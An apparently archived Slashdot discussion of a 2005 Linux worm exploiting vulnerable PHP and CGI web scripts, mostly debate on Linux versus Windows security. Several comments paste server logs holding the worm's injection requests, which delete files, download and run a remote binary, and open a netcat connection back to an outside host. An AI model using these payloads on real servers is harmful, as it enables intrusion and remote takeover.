    What's interesting though is the exploits themselves. Security experts have to really work to find an exploit, and most of the ones they find are impossible to actually exploit under any normal circumstances. e.g. If you check the link you provided, you'll notice how many say "local exploit" on them. As in, you need direct access to the machine before it can be exploited. Under Windows, already having access to the machine is the end of the world unless the user has explicitly locked things down. Under Linux, it depends on the quality of the security configuration. A smart admin would be using SUDO and time-lock screensavers. Not all systems are configured this way, however.

    Apple's track record is on par with any linux distro, for instance Debian or Fedora, but this actually means that Apple's record is worse because in a distro like Debian or Fedora, these projects take responsibility for something like 10,000 packages.

    That's a non-argument. Macs do everything the users want them to do and yet remain secure. That's the key point. Sometimes less is more.

    Thank you for the well reasoned argument. :-)

  65. bah by Danzigism · · Score: 0

    well its a good thing morons don't admin Linux servers.. because if it was anything like Windows, then this worm could have us in for a whole world of hurt..

    --
    *plays the Apogee theme song music*
  66. Re:So let me get this straight by tomhudson · · Score: 2, Interesting

    Linux has a smaller Market Share than Mac OS X, yet it's still getting targetted by virus writers?

    is a derivative of the Linux/Slapper worm which also exists for BSD, just to be crossplatform
    ... just so you don't need to feel left out.

    But really, this article is just more anti-virus vendor FUD. Seems they're trolling non-windows users on a weekly basis (Maybe they enjoy Troll Tuesday?) because they know that their time is almost up:

    • People switching to a mac won't need their productx
    • People running linux won't need their products
    • The 800-lb - oops - 1600 lb gorilla in the Window marketspace - Microsoft - is coming out with their own antivirus
    If you were in their situation, what would you do?
  67. This is the greatest worm ever! by gosand · · Score: 1
    Because it seems to only effect Linux and BSD systems (With a different worm). Other systems running PHP are not effected. So yes it is a linux worm. Like many of the Windows worms are not Windows Worms, but IE or OutLook Worms.

    So wait, you are saying that the worm brings Linux and BSD systems into existence? That is amazing, and quite cool if you ask me!

    Ohhhh, you meant "affect", not "effect". Someone attempting to be pedantic should choose their words carefully.

    --

    My beliefs do not require that you agree with them.

    1. Re:This is the greatest worm ever! by carlos_benj · · Score: 1

      Someone attempting to be pedantic should choose their words carefully.

      Dang! Now there's an exploit I've been bitten by on several occasions.....

      --

      --

      As a matter of fact, I am a lawyer. But I play an actor on TV.

  68. Interesting description by Anonymous Coward · · Score: 0

    I'm a windows admin and noticed something really funny. When a virus comes out on e of the first pieces of information you get is which platforms are vulnerable and under what conditions. Look at the difference between a Linux worm and a windows one.

    Linux:
    Linux running webservers, *IF* the target server is running one of the vulnerable scripts, and *IF* it has a specific url, and *IF* it is configured to permit external shell commands, and *IF* it is set to remote file download in the PHP/CGI environment, *THEN MAYBE* a copy of the worm could be downloaded and executed.

    Windows:
    This virus affects Win 3.1, Win95A, Win95B, Win95C, Win98, Win98SE, Win2000.....

  69. If you are infected by this worm, you deserve it by MrJerryNormandinSir · · Score: 1

    If you are a sysadmin that knows what you are doing, this worm would not effect you.

  70. Only partially. by khasim · · Score: 3, Insightful

    Let's look at this logically.

    If the Linux distribution does not run Apache by default, it is safe.
    If Windows does not run IIS by default, it is safe.
    So far, so good.

    If the Linux distribution does not run PHP by default, it is safe.
    If Windows does not run their scripting system by default, it is safe.
    So far, so good.

    If the Linux distribution does not run those particular scripts by default, it is safe.
    If Windows does not run vulnerable scripts by default, it is safe.
    So far, so good.

    So, both Linux/Apache/PHP/scripts and Windows/IIS/scripting/scripts are as secure as each other in this particular instance.

    Both can be made vulnerable by installing systems/scripts that are not part of the default system.

    But most of the Windows compromises have not been from installing 3rd party vulnerable scripts. Historically, the compromises have come from system vulnerabilities that the admins have not patched, even when the patches are available.

    The "proof" of which has "better" "security" will be how widespread this worm is compared to slammer or code red or nimda.

    Just because this one type would require the same actions on both systems does not mean that this type can be generalized to all exploits of both systems.

    1. Re:Only partially. by penguinrenegade · · Score: 1

      The proof of security would lie more in whether or not your hosting company has patched for this or not. It might be trying, but come on, port 80?

    2. Re:Only partially. by Anonymous Coward · · Score: 0

      Yeah... your hosting company should block port 80. I mean, who would want HTTP requests made on their web server?

    3. Re:Only partially. by Blapto · · Score: 2, Insightful

      As a web server admin, patching to secure against this worm is trivial.
      If you're the only user, you can rename the xmlrpc files.
      Besides, your /tmp shouldn't have exec permissions anyway, and wget, curl, lynx etc. should be root use only.

    4. Re:Only partially. by froi · · Score: 0

      The "proof" of which has "better" "security" will be how widespread this worm is compared to slammer or code red or nimda.

      That's not a valid metric, as it depends also on the number of systems in use with the respective OS.

  71. AWStats is a PHP application? by smartfart · · Score: 4, Informative

    Um, AWStats isn't written in PHP, but in Perl. This isn't a PHP worm, it's a CGI exploit which happens to target PHP apps, plus the occasional Perl app.

    1. Re:AWStats is a PHP application? by mysqlrocks · · Score: 1

      I'm not familiar with AWStats so it wasn't my intention to assert that it was a PHP application. Thank you for the correction. The comment that I responded to indicated that it was a PHP vulnerability (as did the article) and AWStats was listed as one of the vulnerable applications so I did the math. Apparently the variables I had to work with were wrong. I guess that's what happens when you assume.

  72. This has been around a while? by punka · · Score: 1

    I just grep'd through my logs and found someone trying (perhaps beta-testing?) this exploit back in June 2005:

    xx.xxx.xx.xx - - [18/Jun/2005:05:51:35 -0400] "GET /cgi-bin/awstats.pl?configdir=|echo%20;cd%20/tmp;r m%20-rf%20*;killall%20-9%20perl;wget%20www.suxehac ker.home.ro/sess_3539283e27d73cae29fe2b80f9293f60; perl%20sess_3539283e27d73cae29fe2b80f9293f60;echo% 20;echo| HTTP/1.1" 404 309 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"

    Anyone know how to make /tmp noexec on OS X?

    1. Re:This has been around a while? by RichiP · · Score: 1

      This isn't an answer to your question (re: OS X), but I think we should publish IP addresses from logs where the request came from. Most likely, it'll make people aware of yet another infected machine, but if we're lucky (or the author is careless) enough, we might even get the author's (or at least close to it) IP addresses.

  73. Excellent precedent by brlewis · · Score: 1

    Hopefully from now on all worms and viruses will be named according to the OS they affect. I'm tired of hearing Windows worms/viruses referred to as if they were affecting all computers everywhere.

  74. Re:If you are infected by this worm, you deserve i by octaene · · Score: 1

    if member of {Windows, Sysadmin} then not exist

  75. Popularity != Security by khasim · · Score: 2, Insightful

    This is not a flaw in Linux. It is a vulnerability in a script written in PHP that a sysadmin may install on a Linux box.

    This has nothing to do with whether "valuable and important data" is stored on a Linux box.

    If Linux was used by 10x more people/systems, there is no reason to believe that we'd see 10x more worms/viruses in the wild.

    Yet every time the topic of a Linux worm/virus/trojan comes up, someone will make a comment about how it will only happen more as Linux becomes more popular.

    1. Re:Popularity != Security by Assmasher · · Score: 1

      It will come up because it is true. As easily stop the tides. As for the worm, I didn't say it was a flaw in Linux, I was merely pointing out that security issues that affect Linux systems will rise as the success of Linux rises. Maybe you should mod that as 'master of the obvious', but it doesn't make it any less accurate.

      --
      Loading...
  76. Hence, the reason why... by WindBourne · · Score: 1

    the threat level is low to very low depending on reporting site and their need for money.

    --
    I prefer the "u" in honour as it seems to be missing these days.
  77. Looks like it's a Linux binary though by Sycraft-fu · · Score: 1

    So if you have a Windows, Solaris, OS-X, etc PHP system that has a problematic script, it could probably exploit and get in, but when it tried to run there'd be an error, since the OS wouldn't recognise the executable format. Other OSes that can do Linux binaries like FreeBSD could be potentially infected, but that's probably it. Also probably only works on x86 Linux, not PPC.

  78. Re:So let me get this straight by FooAtWFU · · Score: 1

    I'd try to sell a network/email scanning/monitoring package, myself, for the 'enterprise' environment. Company-wide antivirus for the network.

    --
    The World Wide Web is dying. Soon, we shall have only the Internet.
  79. You're wrong. by khasim · · Score: 4, Insightful
    It will come up because it is true.
    No. It will keep coming up because people who don't understand security will keep bringing it up.

    There is a reason that more homes are robbed than banks, even though the banks have far more money in them than the homes do.

    The banks have better security than the homes do. So, even though more people go into a bank every day than go into your home, and the bank keeps lots more money in it than you keep in your home, because of the security, the bank is far less likely to be successfully robbed than your home.
    As for the worm, I didn't say it was a flaw in Linux, I was merely pointing out that security issues that affect Linux systems will rise as the success of Linux rises.
    That's what you believe. Yet my bank example shows that popularity has nothing to do with security.
    Maybe you should mod that as 'master of the obvious', but it doesn't make it any less accurate.
    That is because your statement is as inaccurate as possible already.

    By your "logic", banks would be robbed far more often than homes or cars or people because they are more popular.

    And security is why this worm will not do much damage.
    http://securityresponse.symantec.com/avcenter/venc /data/linux.plupii.html

    Look for "Number of Infections: 0-49".

    Oooooh! Scary! All those millions of Linux sites out there and fewer than 50 have been infected! Ooooooh!

    What's that? "Number of Sites: 0-2"?

    That means that fewer than 3 sites have been infected? Out of all of the Linux installations out there?

    Yeah, "security issues" will certainly be a problem as more people use Linux. I feel really bad for those 2 sites (or less) that were hit by this. Yep. It's a real threat.
    1. Re:You're wrong. by Assmasher · · Score: 1

      Anybody can make a ridiculous metaphor that makes something TOTALLY unrelated look accurate. You state "It will keep coming up because people who don't understand security will keep bringing it up" whilst simultaneously demonstrating that you don't understand security by using the bank/private residence example to mirror the issue we're discussing.

      Banks aren't particularly secure, they simple require a different risk. I can walk into a bank with a gun and steal money. Now, depending upon how ruthless I wish to be, I could very likely get away with it (you'd be shocked how often banks are robbed successfully (in the short term.) The bank isn't more secure, the repercussions are more severe. This is what makes your analogy terrible.

      The rest of your post is just as ridiculous.

      --
      Loading...
    2. Re:You're wrong. by d34thm0nk3y · · Score: 1

      Jeez, all of you guys have a problem with shades of gray. It is neither 100% popularity nor 0% popularity. It is a cost/benefit ratio. According to your logic 0 banks would be robbed since they have better security. Yet banks get robbed. Why? Because there exists someone for whom the extra money outweighs the extra risk.

      Eventually we will reach a point where the target size will be large enough that it provides enough bang/buck to defeat the extra security.

    3. Re:You're wrong. by MisterMoney · · Score: 1

      "By your "logic", banks would be robbed far more often than homes or cars or people because they are more popular."

      couldn't the logic be that homes, cars, and people are robbed more often because there are more of them than there are banks?

  80. Confirmed in my neck of the woods by Anonymous Coward · · Score: 0

    Looks like this guy has already been infected: tail error_log [client 211.214.161.159] script '/var/www/html/xmlrpc.php' not found or unable to stat [Tue Nov 08 11:42:41 2005] [error] [client 211.214.161.159] File does not exist: /var/www/html/blog [Tue Nov 08 11:42:42 2005] [error] [client 211.214.161.159] File does not exist: /var/www/html/blog [Tue Nov 08 11:42:44 2005] [error] [client 211.214.161.159] File does not exist: /var/www/html/blogs [Tue Nov 08 11:42:45 2005] [error] [client 211.214.161.159] File does not exist: /var/www/html/drupal [Tue Nov 08 11:42:46 2005] [error] [client 211.214.161.159] File does not exist: /var/www/html/phpgroupware [Tue Nov 08 11:42:47 2005] [error] [client 211.214.161.159] File does not exist: /var/www/html/wordpress [client 211.214.161.159] script '/var/www/html/xmlrpc.php' not found or unable to stat [Tue Nov 08 11:42:50 2005] [error] [client 211.214.161.159] File does not exist: /var/www/html/xmlrpc [Tue Nov 08 11:42:51 2005] [error] [client 211.214.161.159] File does not exist: /var/www/html/xmlsrv

  81. O RLY? by seanvaandering · · Score: 1

    4. Host with a good website company like 34sp.com (shameless plug with who I am hosted on)

    Sweet! Do you get that girl on the front page after signing up for a year prepaid?

  82. Re:So let me get this straight by therealking · · Score: 1

    I love all the damage control the fanboi's throw out there.

    OH THIS ISN'T A BIG DEAL
    OH THIS ISN'T A LINUX PROBLEM SPECIFICALLY
    OH IT'S ONLY ON THE 3RD SUNDAY OF THE 5TH MONTH
    OH IF THIS WERE WINDOZ (INSERT NOT FUNNY JOKE HERE)

    Come on guys, admit you got stung and deal with it. The more popular Linux becomes the more hackers will want to get into it. And since all the source for just about everything is out there, it's alot easier for the smart ones to find, test, & exploit vulnerablities.

    Your no more secure then the rest of us, you just weren't on the radar. Now you are. Expect more to come.

    --
    Gadget News at Gizmo.com
  83. Post 10 of those IP addresses. by khasim · · Score: 1

    I'm not seeing anything on my logs.

    Why don't you post 10 of those "large number of IP addresses" so substantiate your claim?

    1. Re:Post 10 of those IP addresses. by Anonymous Coward · · Score: 0

      I'm not seeing anything on my logs.

      I don't see anything on your logs either.

    2. Re:Post 10 of those IP addresses. by harlows_monkeys · · Score: 1

      192.50.74.27
      195.200.183.229
      200.218.224.224
      202.123.223.148
      210.109.194.231
      211.155.246.38
      211.174.185.73
      211.21.77.62
      213.16.96.204
      213.202.216.156.euhost.net
      218.189.216.181
      220-130-208-19.hinet-ip.hinet.net
      220-244-34-242-wa.tpgi.com.au
      61-218-77-13.hinet-ip.hinet.net
      61.80.72.99
      69.61.63.10
      adsl-220-228-117-138.nh.sparqnet.net
      adsl-68-122-36-243.dsl.pltn13.pacbell.net
      aqr46.internetdsl.tpnet.pl
      bbned99-214-100.dsl.hccnet.nl
      bgp01132775bgs.ypeast01.mi.comcast.net
      cho94-2-82-66-144-107.fbx.proxad.net
      cpe002078111062-cm0011ae92b516.cpe.net.cable.roger s.com
      delhi-203.200.79-133.vsnl.net.in
      dsi-net.handicap.dk
      ev1s-66-98-214-41.ev1servers.net
      h-213.61.102.218.host.de.colt.net
      hist.ih.univ.szczecin.pl
      i02m-62-34-165-67.d4.club-internet.fr
      noname.tim.se
      ool-18bfd460.dyn.optonline.net
      p15180695.pureserver.info
      republicorp001.intellicentre.net.au
      unknown.sagonet.net
      www.zalau.info
      xboat.cviog.uga.edu

    3. Re:Post 10 of those IP addresses. by jack_csk · · Score: 1

      Those worm http scan are nothing comparing to some of those stupid ssh brute force attempts showing up in my log, just to show you a few lines of it:
      ==============
      Oct 30 09:18:19 bsd sshd[76757]: Illegal user a from 61.135.145.252
      Oct 30 09:18:24 bsd sshd[76759]: Illegal user b from 61.135.145.252
      Oct 30 09:18:29 bsd sshd[76761]: Illegal user c from 61.135.145.252
      Oct 30 09:18:35 bsd sshd[76763]: Illegal user d from 61.135.145.252
      Oct 30 09:18:40 bsd sshd[76765]: Illegal user e from 61.135.145.252
      Oct 30 09:18:47 bsd sshd[76767]: Illegal user f from 61.135.145.252
      Oct 30 09:18:52 bsd sshd[76769]: Illegal user g from 61.135.145.252
      Oct 30 09:19:01 bsd sshd[76771]: Illegal user h from 61.135.145.252
      Oct 30 09:19:07 bsd sshd[76773]: Illegal user i from 61.135.145.252
      ==============
      I am wondering what the hell that brute-force guy was thinking - those usernames usually would not mean anything, and they just simply trigger alarms

  84. gah! by Anonymous Coward · · Score: 0

    Web SERVER. Server! Not browser!

  85. Hmm... by Anonymous Coward · · Score: 0
    "McAfee reports that a Linux worm has been found in the wild"


    Gotta catch em all.

  86. Another Annoying Thing... by u16084 · · Score: 0

    Why bother Hiding the source IP? cho$IFS\"$IFS\"`lupii;./lupii`echo$IFS\"$IFS\"`62. 101.193.244| HTTP/1.1" 404 304 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" 192.108.119.131 - - [08/Nov/2005:11:57:29 -0500] "GET /scgi-bin/webhints/hints.pl?|cd$IFS/tmp;wget$IFS`e cho$IFS\"$IFS\"`62.101.193.244/lupii;chmod$IFS+x$I FS`echo$IFS\"$IFS\"`lupii;./lupii`echo$IFS\"$IFS\" `62.101.193.244| HTTP/1.1" 404 305 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" 192.108.119.131 - - [08/Nov/2005:11:57:30 -0500] "GET /hints.cgi?|cd$IFS/tmp;wget$IFS`echo$IFS\"$IFS\"`6 2.101.193.244/lupii;chmod$IFS+x$IFS`echo$IFS\"$IFS \"`lupii;./lupii`echo$IFS\"$IFS\"`62.101.193.244| HTTP/1.1" 404 288 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" 192.108.119.131 - - [08/Nov/2005:11:57:31 -0500] "GET /cgi/hints.cgi?|cd$IFS/tmp;wget$IFS`echo$IFS\"$IFS \"`62.101.193.244/lupii;chmod$IFS+x$IFS`echo$IFS\" $IFS\"`lupii;./lupii`echo$IFS\"$IFS\"`62.101.193.2 44| HTTP/1.1" 404 292 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" 192.108.119.131 - - [08/Nov/2005:11:57:32 -0500] "GET /scgi/hints.cgi?|cd$IFS/tmp;wget$IFS`echo$IFS\"$IF S\"`62.101.193.244/lupii;chmod$IFS+x$IFS`echo$IFS\ "$IFS\"`lupii;./lupii`echo$IFS\"$IFS\"`62.101.193. 244| HTTP/1.1" 404 293 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" 192.108.119.131 - - [08/Nov/2005:11:57:33 -0500] "GET /cgi-bin/hints.cgi?|cd$IFS/tmp;wget$IFS`echo$IFS\" $IFS\"`62.101.193.244/lupii;chmod$IFS+x$IFS`echo$I FS\"$IFS\"`lupii;./lupii`echo$IFS\"$IFS\"`62.101.1 93.244| HTTP/1.1" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" 192.108.119.131 - - [08/Nov/2005:11:57:35 -0500] "GET /scgi-bin/hints.cgi?|cd$IFS/tmp;wget$IFS`echo$IFS\ "$IFS\"`62.101.193.244/lupii;chmod$IFS+x$IFS`echo$ IFS\"$IFS\"`lupii;./lupii`echo$IFS\"$IFS\"`62.101. 193.244| HTTP/1.1" 404 297 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" 192.108.119.131 - - [08/Nov/2005:11:57:36 -0500] "GET /hints/hints.cgi?|cd$IFS/tmp;wget$IFS`echo$IFS\"$I FS\"`62.101.193.244/lupii;chmod$IFS+x$IFS`echo$IFS \"$IFS\"`lupii;./lupii`echo$IFS\"$IFS\"`62.101.193 .244| HTTP/1.1" 404 294 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" 192.108.119.131 - - [08/Nov/2005:11:57:37 -0500] "GET /cgi-bin/hints/hints.cgi?|cd$IFS/tmp;wget$IFS`echo $IFS\"$IFS\"`62.101.193.244/lupii;chmod$IFS+x$IFS` echo$IFS\"$IFS\"`lupii;./lupii`echo$IFS\"$IFS\"`62 .101.193.244| HTTP/1.1" 404 302 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" 192.108.119.131 - - [08/Nov/2005:11:57:38 -0500] "GET /scgi-bin/hints/hints.cgi?|cd$IFS/tmp;wget$IFS`ech o$IFS\"$IFS\"`62.101.193.244/lupii;chmod$IFS+x$IFS `echo$IFS\"$IFS\"`lupii;./lupii`echo$IFS\"$IFS\"`6 2.101.193.244| HTTP/1.1" 404 303 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" 192.108.119.131 - - [08/Nov/2005:11:57:39 -0500] "GET /webhints/hints.cgi?|cd$IFS/tmp;wget$IFS`echo$IFS\ "$IFS\"`62.101.193.244/lupii;chmod$IFS+x$IFS`echo$ IFS\"$IFS\"`lupii;./lupii`echo$IFS\"$IFS\"`62.101. 193.244| HTTP/1.1" 404 297 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" 192.108.119.131 - - [08/Nov/2005:11:57:40 -0500] "GET /cgi-bin/webhints/hints.cgi?|cd$IFS/tmp;wget$IFS`e cho$IFS\"$IFS\"`62.101.193.244/lupii;chmod$IFS+x$I FS`echo$IFS\"$IFS\"`lupii;./lupii`echo$IFS\"$IFS\" `62.

    --
    -- I Dont Deserve A Sig I Have Bad Karma
    1. Re:Another Annoying Thing... by u16084 · · Score: 0

      tailing the log, looks like a dozen or so IP's are attempting the same routine... So "In The Wild" means pretty well active...

      --
      -- I Dont Deserve A Sig I Have Bad Karma
  87. Been in the wild since Feb. by statemachine · · Score: 1

    Or is this a different worm that exploits awstats?

    First scan at my webserver:

    xx.113.128.xxx - - [17/Feb/2005:04:36:36 -0800] "GET /cgi-bin/awstats.pl HTTP/1.1" 404 300 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"

    Second scan:
    xxx.19.218.xx - - [18/Feb/2005:05:58:19 -0800] "GET //cgi/awstats.pl?configdir=|
    %20id%20| HTTP/1.1" 404 297 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"

    An attempt a few days (and a few scans) later which appears to be a self-sustaining worm:

    xx.221.80.xx - - [26/Feb/2005:18:30:46 -0800] "GET /cgi-bin/awstats.pl?configdir
    =%20%7c%20cd%20%2ftmp%3bwget%20www.ment0ru.home.ro %2fnc%3bchmod%20%2bx%20nc%3b.%
    2fnc%20something4u.propagation.net%2065000%20%7c%2 0 HTTP/1.1" 404 300 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts)"

  88. Huh? by eno2001 · · Score: 1

    According to the linked site, you are vulnerable if you are running PHP (version?) and have a /{website dir}/cgi-bin directory. I guess that means anyone runnign PHP is vulnerable?

    --
    -"...bad old ideas look confusingly fresh when they are packaged as technology" - Jaron Lanier (Digital Maoism on Edge.o
  89. Apples to Oranges by clickster · · Score: 1

    I would like to point out a significant detail. It is far easier to deflect blame away from Linux than it is from Windows because, unlike Windows, Linux doesn't "automatically install" anything. Linux is just a kernel. A linux distro is just a Linux kernel with hundreds of "3rd party apps" tacked on. I'm not knocking Linux at all. I love Linux. But it's not a fair comparison when you're playing the "installed by default" game. The Linux kernel is 100% secure because it can't do anything by itself.

    --
    If you mod me down, I shall become less powerful than you could possibly imagine.
  90. You should read the other replies before posting by Roadkills-R-Us · · Score: 1

    Several people have noted that this only affects systems that allow a CGI or PHP script to execute arbitrary programs. I don't think most Windows systems have that short of "shell" access from CGI/PHP. Then again, I know ALAP about Windows...

  91. OS X and noexec by Anonymous Coward · · Score: 0

    Just like you would any other directory on any other Unix: pass "noexec" as a flag to the mount command that creates the tmp directory (http://www.netadmintools.com/html/8mount.man.html ):

    mount -o remount,noexec /tmp

    1. Re:OS X and noexec by punka · · Score: 1

      The problem with Mac OS X (Darwin) is that /tmp is not its own filesystem:

      # ls -l /
      lrwxr-xr-x 1 root admin 11 Apr 25 2005 tmp@ -> private/tmp

      It is just a dir that gets blown away every reboot from some commands in /etc/rc

      Furthermore, if one were to try and use a RAM disk (man hdid), you can only create ones with a static # of sectors. In other words, Mac OS X has nothing like tmpfs.

  92. Hahaha, stupid windows users... by Anonymous Coward · · Score: 0

    Glad I'm running li-- wait, what?

  93. IE 5? by noisymime · · Score: 1

    why... That's not MS sharing the IE love, its them trying to open up Macs to virus', those dirty scoundrels!

  94. nmap results by khasim · · Score: 1

    192.50.74.27
    Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2005-11-08 09:49 PST
    All 1663 scanned ports on 192.50.74.27 are: filtered

    Nmap finished: 1 IP address (1 host up) scanned in 38.322 seconds

    ========

    195.200.183.229
    Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2005-11-08 09:51 PST
    Interesting ports on 195.200.183.229:
    (The 1661 ports scanned but not shown below are in state: filtered)
    PORT STATE SERVICE
    22/tcp open ssh
    80/tcp open http

    Nmap finished: 1 IP address (1 host up) scanned in 62.432 seconds

    ========

    200.218.224.224
    Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2005-11-08 09:53 PST
    All 1663 scanned ports on 200.218.224.224 are: filtered

    Nmap finished: 1 IP address (1 host up) scanned in 39.839 seconds

    ========

    202.123.223.148
    I killed the process after 2 minutes.

    ========

    210.109.194.231
    I killed this one too.

    ========

    211.155.246.38
    Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2005-11-08 10:01 PST
    All 1663 scanned ports on 211.155.246.38 are: filtered

    Nmap finished: 1 IP address (1 host up) scanned in 38.386 seconds

    ========

    Okay, I'm stopping there. I was under the impression that I'd be seeing some open ports. I can only verify port 80 on ONE of those so far.

    How OLD are those entries? Why does it appear that the problem, if it ever existed on those machines, has been cleared already?

  95. Re:So let me get this straight by tomhudson · · Score: 1

    And since all the source for just about everything is out there,
    ...
    Come on guys, admit you got stung and deal with it

    How did we get stung? Not being dependent on Micro$hit to deliver fixes to buggy 3rd-party scripts, this was "fixed" back in February. *Yawn.*

  96. I do an http redirect back to the source by Dr.+Manhattan · · Score: 1
    Most of these kinds of worms look for Windows files, but a few look for "awstats" and similar. I have a simple CGI that does an http redirect back to the originating machine.

    Now, I don't think most worms really process such errors but it makes me feel better than just ignoring them, and it seems to be far more legal than either redirecting them to fbi.gov or launching some kind of counterattack.

    --
    PHEM - party like it's 1997-2003!
  97. Your sig by Anonymous Coward · · Score: 0

    You need to escape those #s, too.

  98. Shhhhhhh! by Shadez666 · · Score: 1

    Don't tell the windows people that linux has security holes, they may decide it's payback time!

  99. Security Focus is best... by reclusivemonkey · · Score: 1

    "A new Linux worm is crawling the web looking for a large number of vulnerable PHP systems and applications."

    Good luck buddy, I don't think you're gonna find 'em...

  100. sysadmins: known holes will be the next worms ! by free2 · · Score: 1

    What every sysadmin should know is that the unpatched known holes of today are not only open doors for crackers, they are the open doors for the next worms.
    Every sysadmin should check security sites like Secunia, with a list of unpatched known holes for each software they use:
    http://secunia.com/

  101. Make all the claims you want. by khasim · · Score: 0
    Anybody can make a ridiculous metaphor that makes something TOTALLY unrelated look accurate.
    It is not "TOTALLY unrelated". It illustrates how security is not affected by popularity. It shows that your position is incorrect.
    Banks aren't particularly secure, they simple require a different risk.
    Thanks for playing! It's been fun!

    If you ever visit Reality, drop in and we'll have a beer.
    I can walk into a bank with a gun and steal money.
    I think I saw that movie, too. It was pretty good. Too bad it was so Hollywood and unrealistic.
    Now, depending upon how ruthless I wish to be, I could very likely get away with it (you'd be shocked how often banks are robbed successfully (in the short term.)
    Really? I would be? Let's see.
    http://www.fbi.gov/ucr/cius_02/pdf/02crime2.pdf
    So, the FBI records 402,637 "robberies". Of which, 2.3% are bank robberies.

    So, all other robberies account for 97.7% of the total. But banks account for only 2.3% (or about 9,261 bank robberies).

    But you think that "banks aren't particularly secure"?
    The bank isn't more secure, the repercussions are more severe.
    Strange. I mean, since murder would normally be seen as having "repercussions" that are "more severe" and all. But the FBI records 16,204 murders.

    Yet more murders than bank robberies.
    This is what makes your analogy terrible.
    Nope. The analogy is solid.

    It's just that the facts seem to contradict your position.

    Anyway, if you're ever in the neighborhood of Reality, stop in for a beer.
    1. Re:Make all the claims you want. by Assmasher · · Score: 1

      Whatever makes you feel better. Nice 'solid' analogy, LOL.

      --
      Loading...
    2. Re:Make all the claims you want. by falconx7 · · Score: 1

      Your analogy wasn't all that great, and definately is not solid. So more people visit an individual bank than an individual house. However, there is a LOT more houses than banks. In a given period of time a lot more people visit any house than any bank. And looking at those stastics, yes residences are robbed more frequently than a bank.

      Looking at that same data, banks still get robbed a decent ammount despite there being a lot less of them than houses. This is probably because the reward is much greater. All that cash in one place gives a greater reward, and hence more people go for it. Having better security decreases how many people are willing to go for it, or are succesful, but it still happens.

      In the most basic terms it's based on difficulty, reward, and risk. In the case of worms, the larger the set of possible vulnerable machines the greater the reward. If linux really is more difficult it helps, but as the reward gets bigger there's more incentive.

      So please, stop trying to ignore variables in the equation. Reward is most definately part of it. If someone is trying to expand a botnet, then a greater number of pc's to infect is most definately an incentive. As such an incentive grows, of course more people are going to attempt it. Sure, better security raises the difficulty and can help decrease this, but it definately isn't the only part of the equation.

  102. not a good practice.. by Anonymous Coward · · Score: 1, Interesting

    Unless you have tripwire or some off-disk checksums of your hard drive, you have no choice but to wipe and re-install configs and data from backups. If you haven't designed your systems to make this easy (keep all configs in /etc, /usr/local/etc, keep all customer data in one dir, etc), you're just making extra work for yourself OR making excuses why you shouldn't clean up a pwned machine.

    Sure, 99% of the time, script kiddies are easy to clean up after. You might run into that 1% that make themselves root with an unpublished exploit, and install a kernel mod to hide themselves, and you think "oh, it's just some kiddies littering /tmp, big deal".

    That's happened to me exactly once in my 10+ year career, but once was too much!

  103. Salting the mine? by Jerry · · Score: 1
    http://isc.sans.org/diary.php?storyid=823
    Here are the reported numbers:

    Date Sources Targets Records tcp %
    2005-11-07 5 5 11 100
    2005-11-06 24 5 363 4
    2005-11-05 27 4 2581 0
    2005-11-04 35 8 5848 0
    2005-11-03 111 8 22525 0
    2005-11-02 6 7 10 100
    2005-11-01 10 9 34 100
    2005-10-31 6 7 33 100
    2005-10-30 7 6 15 100

    "Sources" is a count of infected PCs, i.e., unique IP addresses "originating traffic".
    "Targets" are the PCs "receiving traffic".
    "Records" is the number of PACKETS observed.

    What is odd is that while there are supposedly 111 PCs that are infected and sending out hack attempts, those 111 PCs seem to target ONLY 8 PCs, and the total PACKET transmitted/recieved on 11/03 was only 22K. Very strange. Very LOW numbers and with a VERY LIMITED number of boxes.

    Notice that the majority of "infections" are occuring on Nov 3, 4 and 5, and the reports from THREE anti-virus houses are on the 4th and 5th, the same day as the big spike in the "infection":
    A scan from VirusTotal detects "cback" as:
    Antivirus Version Update Result
    Fortinet 2.48.0.0 11.04.2005 Linux/Rev.B-bdr
    Kaspersky 4.0.2.24 11.05.2005 Backdoor.Linux.Small.al
    McAfee 4620 11.04.2005 Linux/BackDoor-Rev.b

    For such an infintesimally small number of supposedly hacked boxes these three anti-Virus houses already have dection software which can see the "trojan". That is REALLY FAST dection code writing, deployment and reporting for such a SMALL number of boxes.

    Has someone salted the Linux anti-virus mine to hype business?
    --

    Running with Linux for over 20 years!

  104. mod_security ruleset for WordPress blogs by scaturan · · Score: 1

    if you're using mod_security on Apache/UNIX platforms, you can set this globally.

    SecFilterSelective "THE_REQUEST" "xmlrpc\.php" "deny,,status:412"

    and only enable for VirtualHost blocks that needs it. be sure to patch your stuff! :)

    SecFilterSelective "THE_REQUEST" "xmlrpc\.php" "allow,log," you can also enable Apache's SetEnvIf & conditional logging to pipe all xmlrpc.php requests to a centralized log file for analysis.

  105. Re:So let me get this straight by k1773re7f · · Score: 1
    • People switching to a mac won't need their productx
    • People running linux won't need their products
    • The 800-lb - oops - 1600 lb gorilla in the Window marketspace - Microsoft - is coming out with their own antivirus

      If you were in their situation, what would you do?

      Considering that there is already ClamAV in Linux space? I Probably be weaving a golden parachute.

    --
    This sig. intentionally left blank.
  106. Kicked your ass. by khasim · · Score: 1

    I've often noted that when faced with facts, the loser will make some braggart statement instead of attempting to present facts of his own.

    And you're another example of that.

